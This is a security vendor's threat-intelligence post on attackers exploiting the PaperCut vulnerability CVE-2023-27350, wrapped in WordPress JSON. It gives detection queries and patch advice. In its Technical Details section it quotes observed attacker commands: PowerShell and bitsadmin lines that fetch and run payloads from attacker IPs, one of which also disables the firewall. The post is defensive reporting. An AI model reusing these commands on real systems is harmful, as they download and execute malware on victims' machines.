{"id":21893,"date":"2023-05-02T03:20:54","date_gmt":"2023-05-02T11:20:54","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2023\/05\/02\/news-15624\/"},"modified":"2023-05-02T03:20:54","modified_gmt":"2023-05-02T11:20:54","slug":"news-15624","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2023\/05\/02\/news-15624\/","title":{"rendered":"Update 1: Increased exploitation of PaperCut drawing blood around the Internet"},"content":{"rendered":"<p><strong>Credit to Author: Angela Gunn| Date: Thu, 27 Apr 2023 18:43:38 +0000<\/strong><\/p>\n<div class=\"entry-content lg:prose-lg mx-auto prose max-w-4xl\">\n<p><em>Last updated 2023-05-02 08:45:00: Added \u201cTimeline and Other Sophos Information\u201d section<\/em><\/p>\n<p><em>2023-04-26 17:50:00: First publication<\/em><\/p>\n<p><span class=\"ui-provider gr b c d e f g h i j k l m n o p q r s t u v w x y z ab ac ae af ag ah ai aj ak\" dir=\"ltr\">Sophos X-Ops MDR and SophosLabs teams have been monitoring and researching activity around the PaperCut vulnerability CVE-2023-27350 since April 13, 2023. In this posting we outline our observations on the threat environment around this vulnerability.<\/span><\/p>\n<p>On April 19, 2023, software company PaperCut published an update to their <a href=\"https:\/\/www.papercut.com\/kb\/Main\/PO-1216-and-PO-1219\">advisory<\/a> indicating exploitation of CVE-2023-27350 has been reported in the wild. PaperCut offers multi-platform print management software, popular in the education sector. The vulnerability leveraged in the attack was in fact already addressed by a patch released the month prior \u2013 a situation commonly called an <em>n<\/em>-day attack.<\/p>\n<p>This vulnerability affects PaperCut MF and NG Application and Site Servers version 8.0 and above across all supported operating systems. A patch was made available on March 8 and Sophos recommends that you <a href=\"https:\/\/www.papercut.com\/kb\/Main\/Upgrading#application-server-upgrade\">apply it<\/a> at the earliest opportunity on all vulnerable servers.<\/p>\n<p>Sophos\u2019 earliest observation of an affected user occurred on April 13. That attack was identified by a SophosLabs threat researcher when Cobalt Strike was detected during post-exploitation activity. On April 17 &#8212; four days later and two days prior to the public announcement &#8212; Sophos MDR detected exploitation of a vulnerable PaperCut server at a customer in North America. We quickly contained the affected server and engaged the customer to proceed with remediation.<\/p>\n<p>To date, we have observed multiple threat groups target potential victims globally, with an overweight percentage in the educational sector.<\/p>\n<h3>Technical Details<\/h3>\n<p>The vulnerability details provided by Trend Micro\u2019s <a href=\"https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-23-233\/\">ZDI<\/a> indicate that the code allowing authentication bypass and remote code execution is found in the SetupCompleted Java class. At the time of exploitation, Sophos MDR observed the following error log being generated:<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-01.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-91350\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-01.jpg\" alt=\"Two error messages spotted early in the PaperCut attack\" width=\"608\" height=\"25\" \/><\/a><\/p>\n<p><em>Figure 1: Error messages are an early sign that something is amiss<\/em><\/p>\n<p>Post-exploitation activity often results in PowerShell commands being executed by the pc-app.exe parent process, as seen in Figure 2 downloading Atera remote monitoring software to the victim. (Atera is of course legitimate software, seen in this situation being abused by the attackers.).<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-too.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-91357\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-too.png\" alt=\"PowerShell downloading a copy of Atera\" width=\"640\" height=\"186\" \/><\/a><\/p>\n<p><em>Figure 2: PowerShell download of legitimate-but-abused Atera software<\/em><\/p>\n<p>This is just one example observed, as different threat groups execute PowerShell in a variety of ways.<\/p>\n<pre>powershell\u00a0 IEX ((New-Object Net.WebClient).DownloadString ('http:\/\/137.184.56[.]77:443\/for.ps1'))    powershell.exe Invoke-WebRequest http:\/\/137.184.56.[]77:443\/c.bat    -OutFile c.bat      powershell $url=\"https:\/\/tmpfiles[.]org\/dl\/1337855\/enc.txt\" $dst=\"C:encexe\" netsh advfirewall set allprofiles state off Invoke-WebRequest $url -OutFile $dst Start-Process $dst -windowstyle hidden Start-Sleep -s 10<\/pre>\n<p>Sophos MDR has also observed the use of BITSAdmin, a commonly abused<a href=\"https:\/\/news.sophos.com\/en-us\/2023\/04\/25\/2023-active-adversary-report-for-business-leaders\/\"> LOLBin<\/a>, to download additional tools.<\/p>\n<pre>bitsadmin \/transfer dwa \/download \/priority FOREGROUND http[:]\/\/23.184.48[.]17\/bootcamp.zip C:ProgramDatabootcamp.zip    bitsadmin \/transfer mydownloadjob \/download \/priority normal http[:]\/\/192.184.35[.]216:443\/4591187629.exe %WINDIR%setup2.exe<\/pre>\n<p>The tools exploited in the attacks have included what we refer to as \u201cdual-use agents,\u201d used both legitimately by IT staff and maliciously by attackers. At the time of writing, Sophos has observed the abuse of AnyDesk, Atera, Synchro, TightVNC, NetSupport, and DWAgent remote management tools across multiple campaigns.<\/p>\n<p>Additionally, some of the final payloads overlap with previously reported threats such as Truebot (downloader, often linked to Cl0p ransomware), Buhti (ransomware), MoneroOcean (<a href=\"https:\/\/news.sophos.com\/en-us\/2021\/12\/02\/two-flavors-of-tor2mine-miner-dig-deep-into-networks-with-powershell-vbscript\/\">coinminer<\/a>), and Mirai (botnet). One such example of a miner, shown in Figure 3, details the commands to kill other miners before launching their own Monero (XMR) mining software.<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-03-1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-91348\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-03-1.png\" alt=\"Finding screen showing miners removing other miners during an attack on PaperCut\" width=\"575\" height=\"375\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-03-1.png 575w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/figure-03-1.png?resize=300,196 300w\" sizes=\"auto, (max-width: 575px) 100vw, 575px\" \/><\/a><\/p>\n<p><em>Figure 3: Miner-on-miner violence<\/em><\/p>\n<h3>Determining impact with Sophos XDR<\/h3>\n<p>Upon receiving updated threat intelligence, Sophos MDR threat hunters immediately started searching across our customer base for any additional affected users. The following SQL query can be used by Sophos XDR customers in their Sophos Central console to identify any suspicious activity, as well as be converted into a Sigma rule for non-Sophos customers. Generally, command-line executions performing system discovery with native tools (LOLBins) such as whoami, nltest, and systeminfo can indicate compromise and lead to the point of initial access. If suspicious commands are observed, it is recommended to perform system isolation while the system is under investigation. Note that a common false positive observed in the process activity was the PaperCut print archive function.<\/p>\n<pre>SELECT    date_format(from_unixtime(TIME,'%Y-%m-%d %H:%i:%s') AS date_time,    customer_id,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 meta_hostname,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 parent_name,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 parent_cmdline,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 name,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 cmdline,    \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0 sophos_pid    FROM    \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xdr_data    WHERE    \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 AND query_name = 'running_processes_windows_sophos'    \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 AND LOWER(parent_name) = 'pc-app.exe'    \u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 AND (LOWER(name) = 'cmd.exe'    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 OR LOWER(name) = 'powershell.exe')<\/pre>\n<p>As noted above, a patch is available; this situation falls into the category of attacks known as \u201c<em>n<\/em>-days\u201d \u2013 an exploit that appears very soon after a patch is issued. Potentially affected users are encouraged to review and apply the patch as soon as possible. Our GitHub <a href=\"https:\/\/github.com\/sophoslabs\/IoCs\/blob\/master\/papercut-nday-indicators-of-compromise.csv\">includes<\/a> a set of Indicators of Compromise associated with this attack campaign. Sophos Labs continues to monitor the situation closely for potential AV detections.<\/p>\n<h3>Timeline and Further Sophos Resources<\/h3>\n<p>As our investigation continues, we\u2019ve developed a (simplified) timeline of PaperCut-related events as they unfolded in our data. In addition, there\u2019s more information about PaperCut on the <a href=\"https:\/\/nakedsecurity.sophos.com\/2023\/04\/25\/papercut-security-vulnerabilities-under-active-attack-vendor-urges-customers-to-patch\/\">Naked Security blog<\/a> (which includes a tidy checklist for PaperCut customers) and the <a href=\"https:\/\/nakedsecurity.sophos.com\/2023\/04\/27\/s3-ep132-proof-of-concept-lets-anyone-hack-at-will\/\">Naked Security podcast<\/a>.<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-91415\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png\" alt=\"A timeline showing PaperCut-related artifacts 13-26 April\" width=\"593\" height=\"1736\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png 593w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png?resize=102,300 102w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png?resize=350,1024 350w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/papercut-timeline.png?resize=525,1536 525w\" sizes=\"auto, (max-width: 593px) 100vw, 593px\" \/><\/a><\/p>\n<h3>Acknowledgements<\/h3>\n<p>Benjamin Sollman, Colin Cowie, Greg Iddon, and Gabor Szappanos contributed to this report.<\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/news.sophos.com\/en-us\/2023\/04\/27\/increased-exploitation-of-papercut-drawing-blood-around-the-internet\/\" target=\"bwo\" >http:\/\/feeds.feedburner.com\/sophos\/dgdY<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/04\/shutterstock_1830290738-e1682619995971.jpg\"\/><\/p>\n<p><strong>Credit to Author: Angela Gunn| Date: Thu, 27 Apr 2023 18:43:38 +0000<\/strong><\/p>\n<p>A recent remote code execution (RCE) vulnerability is increasingly in use to deliver Cobalt Strike and other remote management software, along with multiple ransomware threats \u2013 what you need to know about CVE-2023-27350<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10378,10377],"tags":[29220,129,25038,29221,29216,24552,27604],"class_list":["post-21893","post","type-post","status-publish","format-standard","hentry","category-security","category-sophos","tag-cve-2023-27350","tag-featured","tag-mdr","tag-mdr-flash","tag-papercut","tag-security-operations","tag-sophos-mdr"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/21893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=21893"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/21893\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=21893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=21893"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=21893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}